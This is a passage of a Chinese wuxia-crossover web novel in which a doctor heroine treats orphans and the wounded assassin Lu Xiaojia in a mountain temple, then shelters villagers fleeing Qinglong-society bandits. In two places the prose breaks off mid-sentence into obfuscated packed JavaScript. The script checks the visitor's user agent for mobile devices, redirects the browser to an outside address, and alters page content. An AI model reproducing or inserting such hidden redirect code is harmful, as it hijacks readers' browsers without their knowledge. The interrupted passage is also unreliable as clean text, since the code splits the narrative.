尤明姜见她动作麻利,又极有耐性,心中不由一动。 眼角余光瞥见了帮海四爹吹火的几个孩子,又想起了草棚前叩门问答的光景,不由失笑: “我叫尤明姜,他们都管我叫尤大夫,小妹,你叫什么名字呀?” 高寄萍一愣,红着脸,小声说道:“……我?我、我叫高寄萍。” 尤明姜指了指躺在神案上的叶翔,问道:“这个呢?” 高寄萍答道:“叶翔。” 说完,她又按年龄介绍了另外三个更小的孩子,分别是孟星魂、石群和小何。 “呐,这几个孩子蛮警惕的,像侦察的斥候。” 尤明姜一边打趣,一边取出针包,将一根粗长的银针淬过烛火,紧接着“唰”地刺入了饱满的脓疱里,银针一刺,浓稠的黄白色脓液随之而出。 整个过程中,昏睡中的叶翔轻哼了一声,并没有其他不适。 高寄萍也不害怕,聚精会神地看着尤明姜的动作。 尤明姜一边操作,一边解释:“化脓性甲疽,首先要排干净脓液,接着是涂药,最好是包扎起来,更有利于伤口愈合。” 说着,她从竹编药篓中取出了3%过氧化氢消毒液、莫匹罗星软膏、医用无菌脱脂纱布,有条不紊地给叶翔处理好肿胀的脚趾。 高寄萍听得连连点头,系统播报声也在耳边欢快地响起: 【叮!尊敬的少侠,您在阳谷县中行侠仗义,成功拯救一名身患甲疽的弱质男流,义酬已发放到您的竹编药篓。】 义酬如下: 【5%葡萄糖注射液250ml*10瓶】 【阿莫西林胶囊0.25g*25粒/盒】 【特发此礼,以资鼓励,望少侠戒骄戒躁,再接再厉。】 · 尤明姜伸了个懒腰,慢悠悠地摘下了手上的葛布手套。然后,她给叶翔盖了一条小毯子,小毯子可是病号才有的待遇。 这时候,海四爹熬的那锅小米汤,已经熬出了薄薄的米油,孩子们看着锅里翻滚的小米发出了欢呼声。 尤明姜被这样的气氛感染,脸上洋溢起了温柔的笑。 她揽住高寄萍的肩膀,轻声说道:“先去喝小米汤吧,自己喝饱了,才有力气照顾别人,叶翔也需要好好休息。” 忽然,一滴温热的水珠,不偏不倚地滴落在她的眼尾。 看见这一幕,高寄萍脸色变了又变。 尤明姜下意识地伸手摸向眼尾,指尖触及之处,一片温热黏腻,定睛一看,霎时染上了一抹猩红。 赫然是一滴鲜血。 她抬起头,猛地看向了房梁。 · 9. 不速之客 不速之客静静地坐在房梁之上。 殷红的血缓缓蜿蜒而下,在指尖汇聚成血珠,“啪嗒”一声砸落在地面。 他脸色苍白,双眼直勾勾地盯着下方的尤明姜,眼神中透着一种难以言说的专注。 是路小佳。 又是这个让人捉摸不透的路小佳。 清油灯散发着淡黄色的微光,火焰轻轻跳动,不时发出“噼啪”的轻微声响。 灯光映照下,无鞘剑闪烁着凛冽的寒光。 . 海四爹紧握朴刀,将几个孩子护在身后。 庙门紧闭,还抵着顶门棍,海四爹实在想不通路小佳是如何进来的。 路小佳的目光扫过在场的每一个人,海家父女、铁萍姑以及孤儿五人组…… 在心底暗自下了个定论:老的老,小的小,病的病,残的残。 当他的目光最终落在尤明姜脸上时,心中一软,又悄然添了个“傻”字。 也只有这般傻气的人,才会在这艰难的世道中,带着一群累赘苦苦挣扎求生。 此时此刻,尤明姜站在房梁之下,仰头望着梁上,素面朝天。 她一身农夫打扮,草鞋行缠灰短打,简陋得连荆钗布裙都算不上。 像神案上那一盏清油灯,厚朴而宁和。 路小佳心中竟涌起一丝隐秘的喜悦。 他没有看错人。 “尤明姜。”他率先打破了沉默。 显然,路小佳听到了尤明姜和高寄萍先前的对话,记住了她的名字。 尤明姜应了一声:“晚上好啊,路小佳。” “大夫?”路小佳轻声问道。 “嗯。”尤明姜简短回应。 “帮我治伤。”路小佳的话语简洁明了。 “治伤?” 尤明姜嘴角微微上扬,露出一丝皮笑肉不笑的神情,“咱们都心知肚明,你到这儿来,绝不是冲着治伤而来的。 听到这句话,孩子们簇拥在海四爹身旁,海四爹抖个不停,却仍紧握着朴刀。 “……什么?” 路小佳眼神中闪过一丝迷茫。 右手悄然按在了身旁的朴刀上,尤明姜轻声吐出几个字:“七星照北?” 路小佳笑了笑,没有回答。 他笑起来的样子,像太阳底下的冰块。 很好看,又很无奈。 尤明姜心中满是疑惑,顿了顿,又试探着询问:“青龙夭矫盘双阙?” 路小佳叹了口气,无奈道:“……这是韦庄的《灞陵道中作》,你这是要与我对诗?” 尤明姜不禁心生疑问,难道他不知道青龙会的口令? 要知道,青龙会的成员若是答不对口令,可是会被视作敌人,性命堪忧。 这人一直坐在房梁上,却迟迟未曾动手,看起来似乎并无恶意。 至少目前是这样。 但尤明姜不敢放松警惕,身后这些人的安危可都系在她一人身上。 她又换了个口令:“青龙在东?” 路小佳皱了皱眉头,依旧没有搭腔。 . 尤明姜见状,这才稍稍松了一口气。 既然路小佳不是青龙会成员,她身边这一行老弱病残,就少了一个潜在的致命威胁。 看样子他只是来求医的,情况不算太糟。 沉默了一会儿,路小佳慢悠悠地开口: “听闻你被逐出了开封府,没想到你在这儿……还挺惬意的。” 尤明姜笑了笑,心中明白他还有话要说,只是淡淡地应了一声:“哦?” 她与路小佳不过仅有一面之缘,谈不上是朋友,更算不上是仇人。 不知怎的,想起那张悬赏令,尤明姜隐晦地朝路小佳身侧扫了一眼,暗自揣测:他偷的那个女人究竟藏到哪儿去了? 路小佳察觉到她的心思,脸色一凛,急忙说道:“没有这种事!” 话一出口,他便意识到自己有些失态。 于是深深吸了一口气,将话题重新绕了回来。 “托你的福,开封最近人心惶惶。听说皇帝老儿大发雷霆,那个狗官已经被贬谪到烟瘴之地去做参军了。” 尤明姜听到这话,不禁竖起了耳朵。 这段时间,开封一直流传着厉鬼杀人的传闻,整个开封衙门为此忙得不可开交。 这一切都源于一起恶性杀人事件。 报案人是村里的里正。 那一天,不要说几个年轻的捕快,就连见惯了大世面的验尸仵作,在看到现场后都忍不住呕吐起来。 倒不是他们没见过死人,而是从来没见过这么惊悚的死状。 案发的屋子密闭严实,门窗则被人涂上了桐油,屋子里的蜜蜂受了刺激,发狂似地到处乱飞,众人穿上厚蓑衣,好不容易才将蜜蜂用火燎了个干净。 一进入屋子,就闻到一股腐烂的甜腥气,地上还有个巨大的蜂巢。 捕快们找了半天,一直没找到尸体。 直到一个毛手毛脚的小子,不小心踢烂了蜂巢,才发现了尸体——死者被包裹在灌满了蜂蜜的蜂巢中,早已面目全非。 蜂巢一打开,恶臭的尸水顿时淌了一地。 · 衙门起初判定,杀人凶手是个人牙子。 据村民说,死者曾与人牙子约定好要卖丫头,可十几天前,人牙子去了一趟死者家后便匆匆离开,走时还夹着一个大麻袋。 联想到死者家中的锅碗瓢盆、粮食腊肉也都不翼而飞,衙门推测,极有可能是双方没谈拢价格,人牙子怀恨在心,故而失手杀了人。 而且,死者家的小丫头也不见了踪影。 众人猜测,那个麻袋里装的或许就是小丫头。 衙门正要全力追查人牙子的下落,他的尸体却在河里被发现了。 所谓的凶手也死了。 命案一时间陷入僵局,无法侦破。 眼下正值农历六月,天气炎热异常,无奈之下,只能将尸体焚烧处理。 此事也就成了一桩悬案。 原以为事情就此结束,不知哪个多事儿的在背地里煽动,竟传出了厉鬼索命的谣言。 一时间,各种流言蜚语甚嚣尘上。 恰逢黄河在沙湾决口,一伙农民趁机起义。 朝廷震怒,直接将开封府大大小小的官员,该贬谪的贬谪,该刺配的刺配。 就连底下那些不老实的小吏,也被裁汰了一批。 如今,开封府尹已经换成了一位新的青天大老爷,听说是姓包的。 这位包青天身边,还有一位人称“南侠”的展护卫,武艺高强,剑法超凡脱俗。 想到展护卫的剑法,路小佳捂了捂流血的肩膀,心中暗忖:的确有两下子。 他有意无意地看向尤明姜,“你做的事情,可真是掀起了不小的波澜。” 尤明姜心中一惊,表面却不动声色地问道:“你在说什么?我听不懂。” 路小佳微微皱眉,低声说:“别装了,你以为能瞒过我?不过,那些可能指向你的线索,处理得很干净。” “我不知道你在说什么。”尤明姜心念一动,却不肯轻易承认与这些事有关,她轻轻叹了口气,“开封死了什么人,换了什么样的官,跟我有什么关系吗?” 路小佳听后,脸色微微一变,他张了张嘴,却只留下意味深长的沉默。 沉默了好一会儿,他才捂着自己流血的伤口,从房梁上轻轻一跃而下,踱步到她面前。 他身体前倾,脸凑得有点儿近。 尤明姜下意识往后仰,险些没忍住,把耳刮子掴到他的脸上。 她语气有点郁闷:“你到底想干什么呀?” “受伤的人找大夫,还能干什么?” 路小佳语气淡淡的,“自然是治伤。” · 孟星魂、小何、石群三个小孩子,乖巧地坐在干草堆上喝小米汤。 他们仨晃着小短腿儿,各自捧着一碗小米汤,“咕嘟咕嘟”地喝着,腮帮子一鼓一鼓的。 孩子们每喝一口,便满足地感叹:“好喝,天天喝就好了!” 海红珠和高寄萍的视线,却始终落在尤明姜和路小佳的身上。 海红珠握住了燎壶的把儿,高寄萍抄起了顶门的棍儿,海四爹则一边假装给骡子修蹄子,一边将钉锤紧紧握在手里,朴刀放在腿边,他们随时准备和路小佳拼命。 风暴的中心往往是最安静的。 路小佳只穿着一件单衣,领口微微敞开,一侧的肩膀半露在外,那道触目惊心的伤口清晰可见,皮肉向外翻卷着,鲜血还在不停地往外渗。 尤明姜一边取来淡盐水,仔细冲洗路小佳伤口上的污血,一边不忘接上孩子们的话茬:“一会儿给你们蒸腊肉吃,好不好?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14845514|159209||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “哇~蒸腊肉!”孩子们的眼睛顿时亮了起来,满是期待。 . 尤明姜一开始还有些犹豫。 因为路小佳来得不是时候,她刚好打算清蒸从男人家得来的腊肉,给自己人补营养。毕竟人无肉不欢,长期清汤寡水,身体会虚弱。 那块腊肉是上好的猪五花,大约有两咫长,一寸厚,切成薄片,蒸到透明,咬上一口,满嘴流油,香得很。 她打算把腊肉一分为二,切一点拿来清蒸,剩下的大半块留给铁萍姑。 本来腊肉就不多,如今又多了个路小佳,每个人能吃到嘴里的腊肉就更少了。 不过,冷眼瞧着路小佳这一身华贵的雪绸麻纱,尤明姜心想,他这般讲究的人,应该瞧不上这么一块普通的腊肉。 于是她也不避着路小佳了,把吃肉的好消息告诉了孩子们。 · 尤明姜取出一卷医用无菌纱布,扯下一块,轻轻地擦拭着他的伤口。实在是没有碘伏棉球,也只能用这样的方法来消毒了。 路小佳侧过脸,静静地瞧着尤明姜,眼眸微微下垂,目光又落到了她的手上。 她的手指修长,指甲饱满,只是不够纤柔,也不够白腻。 虽说她时常涂抹紫云膏,但指腹和掌心依旧覆着一层薄茧。 就连右手中指侧面也磨起了一个淡黄色的死茧,光滑厚实,大概是握笔姿势不太好,久而久之磨出来的。 这双手虽说称不上是美人的手,却透着一种让人安心的温暖。 兴许是路小佳看得太入神了,尤明姜在耳边絮絮叨叨了好一会儿,路小佳却一个字都没听进去,恍惚间,他看见尤明姜戴上了一双干净的葛布手套。 他隐约听到尤明姜说:“你确定是吧?厉害啊,果真是条汉子。” “什么汉子?”他暗自思忖,这才从恍惚中回过神来,脸上波澜不惊,内心被疑惑填满。 紧接着,一阵剧痛袭来,疼得他差点蹦起来! 尤明姜眼疾手快,一边迅速按住他的肩膀,一边为他缝合伤口,口中还念念有词: “古有关云长刮骨疗毒面不改色,今有路小佳忍痛缝合伤口,在没有麻沸散的情形下,二位可都是响当当的汉子。” 针头刺入皮肤,用黄柏水煮过的丝线,利落地在伤口两侧来回穿梭,路小佳紧紧绷住身体,额头上豆大的汗珠滚落下来。 此时,他满脑子只回荡着一句话:“临行密密缝,密密缝,密密缝……” 丝线在伤口上交织出细密整齐的针脚,一针又一针,将伤口一点点拢合。 尤明姜一边缝,一边说道:“这是湖州的蚕丝,质量上乘,坚韧又光滑,刺激性还小呢,以后拆线也不会太麻烦。” 路小佳双手紧紧攥着,指节都泛白了,硬是咬着牙,哼都不哼一声。 好在尤明姜动作麻利,缝合完毕后,她取出1瓶凝血酶冻干粉,兑上淡盐水,轻轻地洒抹在他缝合好的伤口上,最后用1卷【医用无菌纱布】包扎得结结实实。 接着,又往路小佳嘴里塞了1片【对乙酰氨基酚片】,还有2粒【阿莫西林胶囊】。 手头没有破伤风抗毒素,只能给他开了个祛风解表的防风白附子汤方。 尤明姜叮嘱他:“不能沾水,更不能剧烈活动,你这些天可不能再打打杀杀了,知道吗?” 路小佳缓缓抬起头,汗珠顺着下颚线滑落,掉进脖颈里。 他紧紧盯着尤明姜,眼神中透着一丝复杂的情绪,牙齿咬得咯咯作响。 “你是故意的吧?” 尤明姜对上他的视线,心中一慌,赶忙心虚地转移视线。 她吹着口哨,假装抬头看房梁。 嗐,防人之心不可无。 没使用麻沸散就缝针,势必会疼得他一时半会动弹不得。 但尤明姜也没法不防备着。 路小佳是杀手,庙里头又都是老弱病残,怎么可能睡得安稳? 万一他兽性大发了呢? . 路小佳从蒲团上站起身来,胸膛剧烈起伏,与尤明姜互瞪了好一会儿。 好半晌,他才从牙缝里挤出一句话:“我也要……” “……你也要?你要什么?”尤明姜褪下葛布手套,漫不经心地说道。 路小佳一字一顿:“吃、腊、肉!” “啊?”尤明姜傻眼了。 10. 蒸腊肉 锅盖一揭,蒸腊肉的香气在山神庙内弥漫开来。腊肉片切得比较薄,拢共二十片,腊肉纹理间的油脂泛着晶莹的光泽。 这一庙的老弱病残,眼睛亮得像星星,直勾勾地盯着腊肉,猛咽口水。 尤明姜先夹了四五片最软糯的腊肉,供在人面虎身的山神像前,权当这是感谢一下山神他老人家提供了个容身之所。 等叶翔和铁萍姑醒过来,再把供完的腊肉片匀给这两个孩子。 接下来就是分剩下的十四五片腊肉。 每个孩子分两片还不够,分三片又不够分,真让人发愁。 更不用说,在场的三个成年人中,海四爹和路小佳这两个大男人都是病号。 活蹦乱跳的竟然只有尤明姜一人。 尤明姜开始懊悔,怎么就没把那头打死的老狼拖回来呢?狼肉能吃,狼骨可入药,狼皮还能做鞣制皮毛…… 她一边懊悔,一边分腊肉,每个人的碗里分到了两片肥滋滋的腊肉。 尤明姜给自己也分了两片腊肉。 这一庙老弱病残,骨子里都是没有安全感的,她没得吃,他们就不敢动嘴,她并不想当个扫兴的人。 腊肉蒸得火候正好。孩子们张大嘴巴,一口咬下去,油汪汪的肉汁溅得满脸都是。 不够吃。 高寄萍看起来很紧张。 她生怕自己带来的这群孤儿吃得多了,会被尤明姜嫌弃。 尤明姜把自己碗里的两片腊肉,轻轻夹给了年龄最小的孩子小何。 小何虽然还很小,却已经很懂事了。 他嘴里嚼着肉,微微抬头看向尤明姜,嘴角还挂着肉汁,小手捏着腊肉送到了她嘴边,“我一个人吃不完,大姐姐和我一起吃。” 尤明姜一怔,看着他蜡黄的小脸,抬手摸了摸他的小脑袋,“乖,你吃吧。” “不要!”小何嘟着小嘴,一个劲儿往她的嘴里送。 实在拗不过小何,尤明姜低下头,咬了指甲盖大小的一块肉,“乖孩子,快吃了吧。” 小何左看了眼流口水的孟星魂,右看了眼嘬手指的石群,馋却还是不肯吃。 他从碗里夹出那两片油光发亮的腊肉,递向高寄萍:“大姐吃。” 高寄萍转手让给海红珠,海红珠又推给海四爹,海四爹则把腊肉让给了更小的孩子。 就这样,碗里的腊肉仿佛长了腿,在众人手中兜了一圈,几经辗转,竟鬼使神差地到了路小佳手上。 . 尤明姜瞥向了路小佳。 路小佳脸色苍白,嘴唇没有血色,双腿盘起,静静地坐在蒲团上。 整个人像个霜打的茄子,蔫蔫的。从一开始分腊肉到现在,他一直安静得出奇。 他面前摆着两个盛腊肉片的碗,一个是初分时拿的,另一个是辗转而来的。 连一筷子都没动过。 尤明姜对他说:“没食欲?” 路小佳抬起眼,深深地看了她一眼,接着又垂下眼帘。他睫毛微微颤动,把装着腊肉片的碗推到她跟前,低声说:“吃不下去。” “肠胃不舒服?”尤明姜轻声询问。 路小佳垂着眼睛,不吭声。 突然,他抬手捂着嘴,干呕了两声。 尤明姜先是一愣。 紧接着,她心里想:早料到他瞧不上这普通腊肉,吵着要吃,不过是成心跟自己赌气。这几片蒸腊肉谈不上珍馐,虽不能让他一见就欢喜,也不至于反胃成这个样子,闹水灾,有口吃的就不错了…… 她由此推断,这个路小佳八成是过惯了锦衣玉食的生活。 尤明姜也不强求他吃。 爱吃不吃,看他这副挑剔模样,倒还省了她周济他饮食的打算。 尤明姜乐呵呵的,把四片腊肉分给了孟星魂、石群、小何和高寄萍。 这几个向来最会察言观色的孤儿,道了谢,乖乖低头吃肉。 路小佳张了张嘴,却一时不知该说什么,他摇摇晃晃地站起身,拎着蒲团走到角落里,闭上眼睛,蜷缩成一团似是在歇息。 · 亥时二刻,豆大的雨点又下了起来,重重砸在山神庙的屋顶上。 雨声催得困意上来,孩子们填饱了肚子,纷纷爬上干草堆,呼呼大睡起来。 海四爹明日要赶一天骡车,想着路途劳顿,便挑了鲜嫩苜蓿草犒劳骡子。往常骡子很爱吃这草料,今晚却反常地焦躁不安。海四爹没往心里去,他一喂完骡子就抓紧时间补觉。 尤明姜一个人守夜。 先给铁萍姑和叶翔各喂下1粒【阿莫西林胶囊】,又帮俩人掖了掖毯子。 大雨中隐隐似有人呼救。 尤明姜皱了皱眉,警惕地握住了朴刀,竖耳细听,声音却被雨声淹没。 错觉吗?她心里莫名的不安,下意识地看了两眼庙门。 转头一看,海红珠正守着一盏清油灯编草鞋。 “仔细伤眼睛。”尤明姜又点了盏清油灯,端着油碗走了过去。 海红珠解释道:“小孩子长得快,叶翔之前的鞋子估计挤脚了,我编双大的给他。” 尤明姜望了眼她缠着纱布的手,轻轻说:“你自己的伤还没好呢。” 海红珠“啊”了一声,不好意思地挠了挠头。 她指甲受了伤,什么忙都帮不上,又怕尤明姜嫌弃,所以不放过任何能做的事。 海红珠看得出来,尤明姜最心疼的就是铁萍姑。自己和爹爹本就是硬搭上车的拖油瓶,她总担心给尤明姜添麻烦。 尤明姜从海红珠手中接过那团尚显雏形的草鞋,低头继续编织。“红珠,你是不是觉得我不大喜欢你?” 海红珠心里“咯噔”一下,原以为藏得好好的心思,竟被尤明姜瞧得透透的。 她脸涨得通红,慌乱地绞着手指,嗫嚅着说:“尤姐姐……” 尤明姜也不编草鞋了,轻轻叹了口气:“红珠,你呀,别总是委屈自己,硬撑着懂事。” 海红珠眼底酸涩,眼泪在眼眶里打转。那三个小孩子就算了,高寄萍和她差不多大,尤姐姐分那一片多出来的腊肉时,却没有第一个想到自己…… 她刚才也好想吃那一片多出来的腊肉。 她好想要尤姐姐最疼爱自己。 可是,她不能。 她的遭遇没那么糟糕,比铁萍姑和高寄萍幸福多了,她也不能声张,因为这样的心情有些自私,她只能懂事。 双手在脸上胡乱擦拭,满腔的委屈化成大颗大颗的泪珠,滚滚往外涌。她越想越委屈,哭得满脸通红,“尤姐姐就是不疼我!你都不想着先给我吃腊肉……” “明明是我先认识的尤姐姐!呜呜呜,姐姐对我只比对路小佳好一点,姐姐偏心!” 尤明姜哭笑不得,忙从怀里掏出手绢,仔细给海红珠擦脸,轻声哄道:“好啦,不哭。怎么突然和路小佳较上劲了?” 话刚出口,她就觉得不妥,急忙补救:“路小佳哪能和你比……” 话一落,又觉得不合适,紧接着又说:“我什么时候对他好过呀。” 越说越乱,尤明姜干脆轻轻抱住了海红珠。 海红珠被抱住时,淡淡的紫草香涌入鼻尖,瞬间红了耳朵。尤明姜轻声道:“红珠,你是我很重要的家人,是我最要好的妹妹。” 海红珠抽抽鼻子问:“真的是最要好的?” “嗯。”尤明姜轻叹,双手捧起她的脸,大拇指擦去她的泪痕。“好啦,别哭,我给你准备了惊喜。” “惊喜?”海红珠眼睛顿时亮了。 尤明姜微笑着,轻轻地摊开手,一枚精致的胭脂扣赫然躺在她的掌心里。 这是她自己做的口脂。 金盏花冷浸油、红蓝花油粉、蓖麻油、蜂蜡和维生素E胶囊……经她一次次调色、配比,终于制成了这款口脂。 海红珠颤着手,接过那枚胭脂扣。 见里面是莹润的苹果红膏脂,眼泪不受控制地落下,她“呜呜呜”地扑进尤明姜怀里大哭起来,边哭边说:“我和姐姐是天底下最要好的姐妹!” . 在尤明姜的哄劝下,海红珠终于乖乖去睡觉了。 “这妮子……”她一边编草鞋,一边忍不住笑着摇了摇头。 回想起那句“姐姐对我只比对路小佳好一点”,尤明姜下意识摸了摸鼻子。 她不禁自问,自己真的对路小佳那么不好吗?这念头在脑海中一闪而过,刹那间,她就没了编草鞋的兴致。 尤明姜站起身,举起一盏清油灯,暖黄色的火苗轻轻晃动,她目光随意一扫,便捕捉到了路小佳的身影。 他蜷缩在角落里的蒲团上,身形瘦削,仿佛周遭的一切都与他无关。 孤独又落寞。 那是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14845515|159209||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一种“①人言落日是天涯,望极天涯不见家”的无尽辛酸,正戳中她灵魂上的隐痛,这种共鸣就像是一种潜在的丝线,悄然牵系着彼此。 尤明姜心软了一瞬。 . 正要迈步上前,却又猛地顿住,心里像缠了一团密密麻麻的乱麻,剪不断理还乱。迟疑了一会儿,尤明姜长吁出一口气,放轻脚步,朝着路小佳的方向走去。 “……路小佳?路小佳?” 她站在几步远的位置,没有贸然上前。 要是路小佳这个江湖一流杀手,也有“好梦中杀人”的习惯怎么办? 路小佳静静地躺在蒲团上,一动不动。 尤明姜不禁皱了皱眉,又小心翼翼地往前迈了两步,缓缓靠近他。随后,她再次试探着,轻声唤道:“路小佳?” 路小佳一动不动。 尤明姜心里“咯噔”一下,一种不祥的预感涌上心头。 她蹲下.身来,伸手轻轻把路小佳翻了个身。 只见路小佳脸色惨白,白得像隆冬新落的雪,毫无血色,手心也湿漉漉的。 显然,他整个人是疼昏了过去。 尤明姜吓了一跳。 “……路小佳!路小佳!”生怕吵醒睡梦中的众人,她俯身贴在他的耳畔,小声急喊他。 路小佳双眼紧闭,没有醒来的迹象。 “该不会是诱发心脏病了吧?”她一把扯开路小佳的衣襟,迅速将耳朵贴到他胸口,仔细聆听心跳。 就在她凑近的瞬间,路小佳的心跳陡然“咚咚咚”加快。 尤明姜一惊,心想:难不成他心律失常? “凝血酶冻干粉、葡萄糖注射液,还有肾上腺素自动注射器,在哪儿呢……” 这要命的肾上腺素自动注射器,她把竹编药篓翻了个遍,她才突然想起,自己已经将肾上腺素自动注射器,全部赠给了铁萍姑。 罢了,先进行心肺复苏。 尤明姜将他摆平,让他的脑袋枕在蒲团上,然后将他的衣襟往两边一扒,直接露出苍白的胸口。 她双手交叠,用掌根不断地进行按压,突然,一道沙哑的声音悠悠地钻进她的耳朵:“你在干什么?” 尤明姜一愣,眼睛一亮,猛地抬起头来。 果然,路小佳睁开了眼睛,眼神还有些迷离,却定定地望着她。 尤明姜赶忙伸出手,轻轻按了按他的心口:“我还以为你……” “女流氓。”路小佳强撑着坐起身来,有气无力地吐出这三个字。 一边说着,一边拨开尤明姜的手。 他修长的手指拢了拢自己的衣襟,苍白的脸上竟飞起一丝薄红。 . 尤明姜笑了笑,“我不过是在救你。” 路小佳冒着冷汗,捂着胸口说:“要是缝针时,你肯用一包麻沸散,还用得着这样?” 尤明姜轻叹:“我也是迫不得已。要知道,阁下的剑法名满天下。这庙里全是老弱病残,他们的安危可都系于我一人之身。我哪敢轻易信你,万一……” “我路小佳杀一个人的酬金,至少上万两银子。”路小佳扬起苍白的脸,神色间满是倨傲,“这庙里的老弱病残,没一个值得我出手的。我路小佳从不对弱者拔剑。” 听了这话,尤明姜不禁一怔,随即拊掌大笑起来:“想不到你我想法竟如此一致。知音难觅,路少侠若不嫌弃,今后咱们便是朋友了。只不过……” 路小佳追问道:“只不过什么?” 尤明姜犹豫了一下,还是开口说道:“大家都知道,杀手这行当,很多时候身不由己。你与我结交,你的首领、师父之类的,不会怪罪下来吗?” 路小佳挑眉道:“你在套我话?想打听我的来历?” 尤明姜笑着摆手:“是我唐突了。你身子还虚弱,别想这些了,早些休息吧。” · 话音刚落,一阵凄厉的哭喊声冲破雨幕,直直钻进庙内。 尤明姜和路小佳一怔,警惕地望向庙门。 “杀人了!土匪来了——” 这声音在雨夜中的景阳冈回荡着,随后,便是一阵“哐哐哐”的密集拍门声。 “开门,开门啊——” “开开门,救救俺们吧,您发发慈悲,让俺们进去躲躲吧!” “俺们不想死,开门啊,给俺们一条活路吧!” 11. 屠龙 尤明姜和路小佳对视一眼,迅速把清油灯搁在一旁,伸手稳稳握住身边的朴刀。 路小佳也强撑着坐起身来。每一个动作都扯动着伤口,他却浑然不顾,握住了那把无鞘剑,剑身微微颤动,映照出森冷的光。 海四爹从睡梦中惊醒,一边揉着眼睛,一边嘟囔着:“什么情况啊这是?” 尤明姜竖起手指,做了个噤声的手势。 海四爹一下子清醒了,伸手抄起朴刀,快步走到两人身边,满脸担忧地望向庙门。 孩子们吓得不轻,纷纷躲到神案底下。海红珠紧紧搂着铁萍姑,高寄萍则护着叶翔,眼中满是恐惧。 尤明姜没有丝毫犹豫,迅速从竹编药篓中取出剩下的朴刀。她手法娴熟,利落地将朴刀组装好,而后一一递给孩子们,轻声叮嘱:“握紧了。” 在这生死攸关的时刻,哪怕是最弱小的力量,只要手中持有利刃,便能让敌人有所忌惮。 见尤明姜从药篓里接连取出数把朴刀,路小佳眼中闪过一丝惊讶,但终究没有多问。 江湖之中,每个人都有自己的秘密。 秘密就是生存的关键。 尤明姜靠近庙门,大声喝问:“外面是谁?” 庙门外传来哭喊声:“俺们是山下的村民,被土匪追杀,救救俺们啊!” . 尤明姜皱了皱眉,决定打开门。 正要开门,路小佳伸手按住她的手,低声说:“小心农夫与蛇。” 她抿了抿唇,没有回应,只是从药篓中取出虎撑,“哗楞哗楞”地轻轻摇晃起来。 她转头望向路小佳,眼神不容置疑。 自铃医诞生之初,就一直在穷苦百姓之间辗转奔波,为他们带去生的希望。 尤明姜不会违背自己身为铃医的使命。 路小佳读懂了她的眼神,缓缓松开了手。 尤明姜深吸一口气,平复了一下心情,抬手抬起门闩。 只听“吱呀”一声,那扇沉重的庙门缓缓打开,一群满身泥浆和血水的村民“呼啦”一下涌了进来,颤颤巍巍地聚集在山神庙中。 即便在雨夜,山下熊熊燃烧的火光仍透过雨幕映入众人眼帘,滚滚浓烟裹挟着焦糊味扑面而来。 等最后一个人进来,尤明姜立刻落下门闩。 . 尤明姜迅速扫了一眼,目测大概有二十五人,小小的山神庙瞬间被挤得水泄不通。 这些村民个个都像是惊弓之鸟。 他们有的头发凌乱,有的肢体残缺,还有的小孩子失去了父母,小小的手被其他村民紧紧牵着。 看到尤明姜手中的虎撑时,他们神色稍微安定了些,紧接着,压抑的哭声在庙内响起。 尤明姜眼睛涩涩的,问道:“怎么回事?” 一个私塾先生模样的中年人,哭着说道:“土匪一进村就屠村,挨家挨户搜人,见人就捅,搜不到人就烧房子……村里的老人跑不动,都……” “这帮子土匪是什么来头?”尤明姜追问。 “不清楚……” 私塾先生努力回忆,“但他们好像说了什么‘天青如水,飞龙在天’,还有什么‘二龙首’……” . 尤明姜脸色煞白,猛地握紧了拳头。 青龙会! 私塾先生所说的每一个字,都像一把重锤,狠狠地敲打着她的良知, 难道真的是因为自己的存在,给这些无辜的村民带来了灭顶之灾? 尤明姜的脑海中飞快闪过无数青龙会的过往。青龙会的手段她再清楚不过,为达目的不择手段,如果他们真的盯上了自己,完全有可能用这种残忍的方式来逼迫自己现身。 江湖事,江湖毕!屠杀平民百姓,算什么绿林好汉! 她咬紧了牙关,恨不得立刻找到那些凶手,将他们碎尸万段! . 整个山神庙内一片混乱。 路小佳把蒲团让给了一个断腿的老汉。 老汉面如金纸,尤明姜喂了他对乙酰氨基酚片,也没能缓解他的痛苦。 路小佳沉默地擦拭着无鞘剑。 匪徒会清点人数,最迟第二天一早便会找上山来。 那将是一场恶战。 路小佳想起十八年前,白天羽一家人也是在梅花庵里被围杀的。 时移世易。 他盯着手中的剑,突然苦笑了起来。 . 海红珠搀扶着虚弱的铁萍姑,高寄萍背着昏睡的叶翔,几个小孩子簇拥在海四爹的大腿边。 年轻的妇人搂着个小小的婴儿,婴儿小脸冻得青紫,已经哭不出声了。 尤明姜接过襁褓,轻轻哄着,小小的婴儿却再也没有睁开眼睛。 明明是农历六月,可这孩子的小手怎么这样冰? 她木着脸,搂紧了怀里的襁褓,许久,才将冰冷的小身体还给那位悲痛欲绝的母亲。 . 发现这些个村民都出现了发烧的迹象,尤明姜让海四爹熬了一大锅石膏粳米汤。 这个药汤对于缓解高热很有效果。 她在竹编药篓的隐秘空间里,储存了七八桶干净井水,这些天一直靠它们维持用水。原本因为水源有限,她急着上路,但面对这些伤者,她顾不上那么多了。 能自行行动的人,尤明姜便让他们自己喝汤;情况严重的,只能让孩子们帮忙喂药。 山神庙内哀号声、哭泣声交织,混乱不堪。尤明姜看着这一幕幕惨象,又抬头看向那尊身披甲胄的山神像,她突然哈哈大笑起来。 这个狗日的异世界! 她恨不能将一切砸个粉碎! 